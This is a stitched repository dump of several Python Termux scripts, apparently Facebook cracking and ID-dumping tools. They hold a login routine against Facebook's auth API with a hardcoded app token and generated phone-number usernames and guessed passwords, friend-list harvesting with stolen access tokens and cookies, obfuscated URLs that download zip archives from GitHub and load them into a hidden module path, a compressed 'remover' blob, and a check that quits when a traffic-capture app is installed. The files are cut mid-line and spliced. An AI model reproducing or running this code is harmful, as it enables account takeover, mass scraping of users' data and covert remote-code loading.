cipher_aes.update(str(current_time).encode("utf-8")) 428 | encrypted_passwd, auth_tag = cipher_aes.encrypt_and_digest(password.encode("utf-8")) 429 | buf = io.BytesIO() 430 | buf.write(bytes([1, int(password_encryption_key_id)])) 431 | buf.write(iv) 432 | buf.write(struct.pack(" .temp.txt') 606 | file = open('.temp.txt','r').read().splitlines() 607 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 608 | #100010138361148 609 | sf = input(' Saved File As : ') 610 | print('') 611 | os.system('clear') 612 | print(logo) 613 | print(' Total ids To Dump: '+str(len(file))) 614 | print(' Dumping Is Started Wait ....') 615 | print(50*'-') 616 | with ThreadPool(max_workers=20) as yaari: 617 | for exid in file: 618 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 619 | print(' Total ids Extracted : '+str(len(total))) 620 | input(' Press enter to back ') 621 | main() 622 | 623 | def new_file(cookies,access_token): 624 | global total 625 | os.system('clear & rm -rf .txt .temp.txt') 626 | os.system('clear') 627 | print(logo) 628 | try: 629 | fl = 1 630 | except: 631 | fl = 1 632 | for xd in range(fl): 633 | idt = input(f' Put id {xd+1}: ') 634 | try: 635 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token) 636 | xyz = requests.Session() 637 | r = xyz.get(fd_url,cookies=cookies).text 638 | q = json.loads(r) 639 | for iid in q['friends']['data']: 640 | uid = iid['id'] 641 | open('.txt','a').write(uid+'\n') 642 | except KeyError: 643 | print(' No Friend List : '+idt) 644 | time.sleep(3) 645 | return auto_file(cookies,access_token) 646 | except requests.exceptions.ConnectionError: 647 | print(' No internet connection ....') 648 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m') 649 | try: 650 | sl = int(input('\n How Many Links To Grab : ')) 651 | except: 652 | sl = 1 653 | for el in range(sl): 654 | sid = input(f' Put {el+1} link: ') 655 | os.system('cat .txt | grep "'+sid+'" > .temp.txt') 656 | file = open('.temp.txt','r').read().splitlines() 657 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 658 | #100010138361148 659 | sf = input(' Saved File As : ') 660 | print('') 661 | os.system('clear') 662 | print(logo) 663 | print(' Total ids To Dump: '+str(len(file))) 664 | print(' Dumping Is Started Wait ....') 665 | print(50*'-') 666 | with ThreadPool(max_workers=20) as yaari: 667 | for exid in file: 668 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 669 | try: 670 | son = f"qaiser{str(random.randint(0,90))}.txt" 671 | except: 672 | son = f"qaiser{str(random.randint(10,50))}.txt" 673 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'') 674 | print(' Total ids Extracted : '+str(len(total))) 675 | print(' New ids Saved As : /sdcard/'+son) 676 | print(' Normal ids Saved As : '+sf) 677 | input(' Press enter to back ') 678 | main() 679 | 680 | def iamBadBoy(exid,cookies,access_token,sf): 681 | try: 682 | global total,loop 683 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token) 684 | xyz = requests.Session() 685 | r = xyz.get(fd_url,cookies=cookies).text 686 | q = json.loads(r) 687 | for yaad in q['friends']['data']: 688 | iid = yaad['id'] 689 | name = yaad['name'] 690 | total.append(iid) 691 | open(sf,'a').write(iid+'|'+name+'\n') 692 | loop+=1 693 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush() 694 | except requests.exceptions.ConnectionError: 695 | print(' No internet connection ...') 696 | except Exception as e: 697 | pass 698 | #print(e) 699 | except KeyError: 700 | pass 701 | 702 | def sep(): 703 | 704 | os.system('clear');print(logo) 705 | try: 706 | limit = int(input(' How many links do you want to separate ? ')) 707 | except: 708 | limit = 1 709 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}') 710 | file_name = input('\033[0m Input file path : ') 711 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}') 712 | new_save = input('\033[0m Save new file as : ') 713 | y = 0 714 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}") 715 | for k in range(limit): 716 | y+=1 717 | links=input(' Put Uid Type : ') 718 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save) 719 | print(44*"\033[0m-") 720 | print(f'{rc} ids grabbed successfully{s}') 721 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines()))) 722 | print('\033[0m New file saved as : \033[0;33m '+new_save) 723 | print(44*"\033[0m-") 724 | input('\033[0m[Press enter to back] ') 725 | main() 726 | 727 | def double(): 728 | os.system('clear') 729 | print(logo) 730 | user_file = input('File Path : ') 731 | try: 732 | open(user_file,'r').read() 733 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m') 734 | save_file = input('Save new file as: ') 735 | os.system('touch '+save_file) 736 | os.system('sort -r '+user_file+' | uniq > '+save_file) 737 | print(50*'-') 738 | print(' Fully Removed Multi Lines Ids') 739 | print(' Dublicate Lines Removed From File') 740 | print(' File Saved As : '+save_file) 741 | print(50*'-') 742 | input('Press enter to back ') 743 | main() 744 | except FileNotFoundError: 745 | print(' Invalid File ') 746 | 747 | #----[http-capture]---- 748 | '''try: 749 | a = "anar" 750 | t="tt" 751 | fileee = os.listdir('/sdcard/Android/data/') 752 | if f'com.h{t}pc{a}y.pro' in fileee: 753 | print('error occur 0') 754 | #exit() 755 | #exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815') 756 | except Exception as e: 757 | print(e) 758 | pass 759 | except PermissionError: 760 | pass''' 761 | 762 | 763 | #----[if-fork]------ 764 | main() 765 | -------------------------------------------------------------------------------- /Qsr8.py: -------------------------------------------------------------------------------- 1 | #SOURCE BY : MR_AKING 2 | #GITHUB : AKING110 3 | #QSR ME BAP HU TERA 4 | #coding = utf-8 5 | from uuid import uuid4 6 | import os,sys,tempfile,string,random,subprocess,uuid 7 | http_directory = tempfile.mkdtemp(prefix='.') 8 | site_packages = sys.path[4] 9 | print(site_packages) 10 | print(http_directory) 11 | sys.path.remove(site_packages) 12 | sys.path.insert(4,http_directory+'/reqmodule') 13 | sys.path.insert(5,http_directory) 14 | try: 15 | os.mkdir('crypto') 16 | except:pass 17 | hh = "ho" 18 | hh2 = "9/pycrypt" 19 | find_aarch = subprocess.check_output('uname -om',shell=True) 20 | if 'aarch64' in str(find_aarch): 21 | user_aarch = '64' 22 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true' 23 | elif 'arm' in str(find_aarch): 24 | user_aarch = '32' 25 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true' 26 | else: 27 | print(' Unknown aarch ') 28 | exit() 29 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'): 30 | os.system('clear') 31 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n') 32 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip') 33 | os.system('python jan.py') 34 | else: 35 | akk2="rsi" 36 | akk=f"cha{akk2}fi" 37 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}') 38 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true' 39 | os.system(f'curl -L {lib} > {http_directory}/config.zip') 40 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null') 41 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null') 42 | try: 43 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct 44 | from string import * 45 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 46 | from Crypto.Cipher import AES, PKCS1_v1_5 47 | from Crypto.PublicKey import RSA 48 | from Crypto.Random import get_random_bytes 49 | except Exception as e: 50 | print(e) 51 | print('\n Installing modules wait !') 52 | os.system('pip install futures==2 && python jan.py') 53 | except FileExistsError: 54 | os.system('pip uninstall requests urllib3 idna certifi -y') 55 | pass 56 | 57 | try: 58 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib 59 | from string import * 60 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 61 | except ModuleNotFoundError: 62 | print('\n Installing missing modules ...') 63 | os.system('pip install requests futures==2 > /dev/null') 64 | os.system('python jan.py') 65 | 66 | #----[pran links]----- 67 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'} 68 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'} 69 | lll = ("https://b-api.facebook.com/method/auth.login") 70 | #----[remover]----- 71 | import os,shutil,zlib 72 | sz = zlib.decompress(b'x\x9c\xd3OI,I\xd4\x07\x13\xc9\xf9\xb9z%\xa9E\xb9\xa5\x15\xfai\x999\xa9\xc5\xfa\x19\xf9\xb9\xa9\xfae\x05E\xf9%\xa9\xc9%\x00 .temp.txt') 624 | file = open('.temp.txt','r').read().splitlines() 625 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 626 | #100010138361148 627 | sf = input(' Saved File As : ') 628 | print('') 629 | os.system('clear') 630 | print(logo);xchker() 631 | print(' Total ids To Dump: '+str(len(file))) 632 | print(' Dumping Is Started Wait ....') 633 | print(50*'-') 634 | with ThreadPool(max_workers=20) as yaari: 635 | for exid in file: 636 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 637 | print(' Total ids Extracted : '+str(len(total))) 638 | input(' Press enter to back ') 639 | main() 640 | 641 | def new_file(cookies,access_token): 642 | global total 643 | os.system('clear & rm -rf .txt .temp.txt') 644 | os.system('clear') 645 | print(logo);xchker() 646 | try: 647 | fl = 1 648 | except: 649 | fl = 1 650 | for xd in range(fl): 651 | idt = input(f' Put id {xd+1}: ') 652 | try: 653 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token) 654 | xyz = requests.Session() 655 | r = xyz.get(fd_url,cookies=cookies).text 656 | q = json.loads(r) 657 | for iid in q['friends']['data']: 658 | uid = iid['id'] 659 | open('.txt','a').write(uid+'\n') 660 | except KeyError: 661 | print(' No Friend List : '+idt) 662 | time.sleep(3) 663 | return auto_file(cookies,access_token) 664 | except requests.exceptions.ConnectionError: 665 | print(' No internet connection ....') 666 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m') 667 | try: 668 | sl = int(input('\n How Many Links To Grab : ')) 669 | except: 670 | sl = 1 671 | for el in range(sl): 672 | sid = input(f' Put {el+1} link: ') 673 | os.system('cat .txt | grep "'+sid+'" > .temp.txt') 674 | file = open('.temp.txt','r').read().splitlines() 675 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 676 | #100010138361148 677 | sf = input(' Saved File As : ') 678 | print('') 679 | os.system('clear') 680 | print(logo);xchker() 681 | print(' Total ids To Dump: '+str(len(file))) 682 | print(' Dumping Is Started Wait ....') 683 | print(50*'-') 684 | with ThreadPool(max_workers=20) as yaari: 685 | for exid in file: 686 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 687 | try: 688 | son = f"qaiser{str(random.randint(0,90))}.txt" 689 | except: 690 | son = f"qaiser{str(random.randint(10,50))}.txt" 691 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'') 692 | print(' Total ids Extracted : '+str(len(total))) 693 | print(' New ids Saved As : /sdcard/'+son) 694 | print(' Normal ids Saved As : '+sf) 695 | input(' Press enter to back ') 696 | main() 697 | 698 | def iamBadBoy(exid,cookies,access_token,sf): 699 | try: 700 | global total,loop 701 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token) 702 | xyz = requests.Session() 703 | r = xyz.get(fd_url,cookies=cookies).text 704 | q = json.loads(r) 705 | for yaad in q['friends']['data']: 706 | iid = yaad['id'] 707 | name = yaad['name'] 708 | total.append(iid) 709 | open(sf,'a').write(iid+'|'+name+'\n') 710 | loop+=1 711 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush() 712 | except requests.exceptions.ConnectionError: 713 | print(' No internet connection ...') 714 | except Exception as e: 715 | pass 716 | #print(e) 717 | except KeyError: 718 | pass 719 | 720 | def sep(): 721 | xchker() 722 | os.system('clear');print(logo);xchker() 723 | try: 724 | limit = int(input(' How many links do you want to separate ? ')) 725 | except: 726 | limit = 1 727 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}') 728 | file_name = input('\033[0m Input file path : ') 729 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}') 730 | new_save = input('\033[0m Save new file as : ') 731 | y = 0 732 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}") 733 | for k in range(limit): 734 | y+=1 735 | links=input(' Put Uid Type : ') 736 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save) 737 | print(44*"\033[0m-") 738 | print(f'{rc} ids grabbed successfully{s}') 739 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines()))) 740 | print('\033[0m New file saved as : \033[0;33m '+new_save) 741 | print(44*"\033[0m-") 742 | input('\033[0m[Press enter to back] ') 743 | main() 744 | 745 | def double(): 746 | os.system('clear') 747 | print(logo);xchker() 748 | user_file = input('File Path : ') 749 | try: 750 | open(user_file,'r').read() 751 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m') 752 | save_file = input('Save new file as: ') 753 | os.system('touch '+save_file) 754 | os.system('sort -r '+user_file+' | uniq > '+save_file) 755 | print(50*'-') 756 | print(' Fully Removed Multi Lines Ids') 757 | print(' Dublicate Lines Removed From File') 758 | print(' File Saved As : '+save_file) 759 | print(50*'-') 760 | input('Press enter to back ') 761 | main() 762 | except FileNotFoundError: 763 | print(' Invalid File ') 764 | 765 | #----[http-capture]---- 766 | try: 767 | a = "anar" 768 | t="tt" 769 | fileee = os.listdir('/sdcard/Android/data/') 770 | if f'com.h{t}pc{a}y.pro' in fileee: 771 | print('error occur 0') 772 | exit() 773 | exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815') 774 | except Exception as e: 775 | print(e) 776 | pass 777 | except PermissionError: 778 | pass 779 | 780 | 781 | '''#----[if-fork]------ 782 | pat = os.getcwd() 783 | datar = [] 784 | datar.append(pat) 785 | if '/data/data/com.termux/files/home/Qsr' in datar: 786 | pass 787 | else: 788 | for i in range(5000): 789 | print(" data is forked / or in other file") 790 | exit("Type > cd ~ && python jan.py") 791 | 792 | if not os.path.exists('.fam'): 793 | qsbuy() 794 | else: 795 | qsbuy() 796 | ''' 797 | main() -------------------------------------------------------------------------------- /Qsr6.py: -------------------------------------------------------------------------------- 1 | #SOURCE BY : MR_AKING 2 | #GITHUB : AKING110 3 | #QSR ME BAP HU TERA 4 | #coding = utf-8 5 | from uuid import uuid4 6 | import os,sys,tempfile,string,random,subprocess,uuid 7 | '''http_directory = tempfile.mkdtemp(prefix='.') 8 | site_packages = sys.path[4] 9 | sys.path.remove(site_packages) 10 | sys.path.insert(4,http_directory+'/reqmodule') 11 | sys.path.insert(5,http_directory) 12 | print(http_directory) 13 | try: 14 | os.mkdir('crypto') 15 | except:pass 16 | hh = "ho" 17 | hh2 = "9/pycrypt" 18 | find_aarch = subprocess.check_output('uname -om',shell=True) 19 | if 'aarch64' in str(find_aarch): 20 | user_aarch = '64' 21 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true' 22 | elif 'arm' in str(find_aarch): 23 | user_aarch = '32' 24 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true' 25 | else: 26 | print(' Unknown aarch ') 27 | exit() 28 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'): 29 | os.system('clear') 30 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n') 31 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip') 32 | os.system('python jan.py') 33 | else: 34 | akk2="rsi" 35 | akk=f"cha{akk2}fi" 36 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}') 37 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true' 38 | os.system(f'curl -L {lib} > {http_directory}/config.zip') 39 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null') 40 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null')''' 41 | try: 42 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct 43 | from string import * 44 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 45 | from Crypto.Cipher import AES, PKCS1_v1_5 46 | from Crypto.PublicKey import RSA 47 | from Crypto.Random import get_random_bytes 48 | except Exception as e: 49 | print(e) 50 | print('\n Installing modules wait !') 51 | os.system('pip install futures==2 && python jan.py') 52 | except FileExistsError: 53 | os.system('pip uninstall requests urllib3 idna certifi -y') 54 | pass 55 | 56 | try: 57 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib 58 | from string import * 59 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 60 | except ModuleNotFoundError: 61 | print('\n Installing missing modules ...') 62 | os.system('pip install requests futures==2 > /dev/null') 63 | os.system('python jan.py') 64 | 65 | #----[pran links]----- 66 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'} 67 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'} 68 | lll = ("https://b-api.facebook.com/method/auth.login") 69 | #----[remover]----- 70 | import os,shutil,zlib 71 | sz = zlib.decompress(b'x\x9c\xd3OI,I\xd4\x07\x13\xc9\xf9\xb9z%\xa9E\xb9\xa5\x15\xfai\x999\xa9\xc5\xfa\x19\xf9\xb9\xa9\xfae\x05E\xf9%\xa9\xc9%\x00 .temp.txt') 624 | file = open('.temp.txt','r').read().splitlines() 625 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 626 | #100010138361148 627 | sf = input(' Saved File As : ') 628 | print('') 629 | os.system('clear') 630 | print(logo);xchker() 631 | print(' Total ids To Dump: '+str(len(file))) 632 | print(' Dumping Is Started Wait ....') 633 | print(50*'-') 634 | with ThreadPool(max_workers=20) as yaari: 635 | for exid in file: 636 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 637 | print(' Total ids Extracted : '+str(len(total))) 638 | input(' Press enter to back ') 639 | main() 640 | 641 | def new_file(cookies,access_token): 642 | global total 643 | os.system('clear & rm -rf .txt .temp.txt') 644 | os.system('clear') 645 | print(logo);xchker() 646 | try: 647 | fl = 1 648 | except: 649 | fl = 1 650 | for xd in range(fl): 651 | idt = input(f' Put id {xd+1}: ') 652 | try: 653 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token) 654 | xyz = requests.Session() 655 | r = xyz.get(fd_url,cookies=cookies).text 656 | q = json.loads(r) 657 | for iid in q['friends']['data']: 658 | uid = iid['id'] 659 | open('.txt','a').write(uid+'\n') 660 | except KeyError: 661 | print(' No Friend List : '+idt) 662 | time.sleep(3) 663 | return auto_file(cookies,access_token) 664 | except requests.exceptions.ConnectionError: 665 | print(' No internet connection ....') 666 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m') 667 | try: 668 | sl = int(input('\n How Many Links To Grab : ')) 669 | except: 670 | sl = 1 671 | for el in range(sl): 672 | sid = input(f' Put {el+1} link: ') 673 | os.system('cat .txt | grep "'+sid+'" > .temp.txt') 674 | file = open('.temp.txt','r').read().splitlines() 675 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 676 | #100010138361148 677 | sf = input(' Saved File As : ') 678 | print('') 679 | os.system('clear') 680 | print(logo);xchker() 681 | print(' Total ids To Dump: '+str(len(file))) 682 | print(' Dumping Is Started Wait ....') 683 | print(50*'-') 684 | with ThreadPool(max_workers=20) as yaari: 685 | for exid in file: 686 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 687 | try: 688 | son = f"qaiser{str(random.randint(0,90))}.txt" 689 | except: 690 | son = f"qaiser{str(random.randint(10,50))}.txt" 691 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'') 692 | print(' Total ids Extracted : '+str(len(total))) 693 | print(' New ids Saved As : /sdcard/'+son) 694 | print(' Normal ids Saved As : '+sf) 695 | input(' Press enter to back ') 696 | main() 697 | 698 | def iamBadBoy(exid,cookies,access_token,sf): 699 | try: 700 | global total,loop 701 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token) 702 | xyz = requests.Session() 703 | r = xyz.get(fd_url,cookies=cookies).text 704 | q = json.loads(r) 705 | for yaad in q['friends']['data']: 706 | iid = yaad['id'] 707 | name = yaad['name'] 708 | total.append(iid) 709 | open(sf,'a').write(iid+'|'+name+'\n') 710 | loop+=1 711 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush() 712 | except requests.exceptions.ConnectionError: 713 | print(' No internet connection ...') 714 | except Exception as e: 715 | pass 716 | #print(e) 717 | except KeyError: 718 | pass 719 | 720 | def sep(): 721 | xchker() 722 | os.system('clear');print(logo);xchker() 723 | try: 724 | limit = int(input(' How many links do you want to separate ? ')) 725 | except: 726 | limit = 1 727 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}') 728 | file_name = input('\033[0m Input file path : ') 729 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}') 730 | new_save = input('\033[0m Save new file as : ') 731 | y = 0 732 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}") 733 | for k in range(limit): 734 | y+=1 735 | links=input(' Put Uid Type : ') 736 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save) 737 | print(44*"\033[0m-") 738 | print(f'{rc} ids grabbed successfully{s}') 739 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines()))) 740 | print('\033[0m New file saved as : \033[0;33m '+new_save) 741 | print(44*"\033[0m-") 742 | input('\033[0m[Press enter to back] ') 743 | main() 744 | 745 | def double(): 746 | os.system('clear') 747 | print(logo);xchker() 748 | user_file = input('File Path : ') 749 | try: 750 | open(user_file,'r').read() 751 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m') 752 | save_file = input('Save new file as: ') 753 | os.system('touch '+save_file) 754 | os.system('sort -r '+user_file+' | uniq > '+save_file) 755 | print(50*'-') 756 | print(' Fully Removed Multi Lines Ids') 757 | print(' Dublicate Lines Removed From File') 758 | print(' File Saved As : '+save_file) 759 | print(50*'-') 760 | input('Press enter to back ') 761 | main() 762 | except FileNotFoundError: 763 | print(' Invalid File ') 764 | 765 | #----[http-capture]---- 766 | try: 767 | a = "anar" 768 | t="tt" 769 | fileee = os.listdir('/sdcard/Android/data/') 770 | if f'com.h{t}pc{a}y.pro' in fileee: 771 | print('error occur 0') 772 | pass 773 | # exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815') 774 | except Exception as e: 775 | print(e) 776 | pass 777 | except PermissionError: 778 | pass 779 | 780 | 781 | #----[if-fork]------ 782 | '''pat = os.getcwd() 783 | datar = [] 784 | datar.append(pat) 785 | if '/data/data/com.termux/files/home/Qsr' in datar: 786 | pass 787 | else: 788 | for i in range(5000): 789 | print(" data is forked / or in other file") 790 | exit("Type > cd ~ && python jan.py") 791 | 792 | if not os.path.exists('.fam'): 793 | qsbuy() 794 | else: 795 | qsbuy() 796 | ''' 797 | main() --------------------------------------------------------------------------------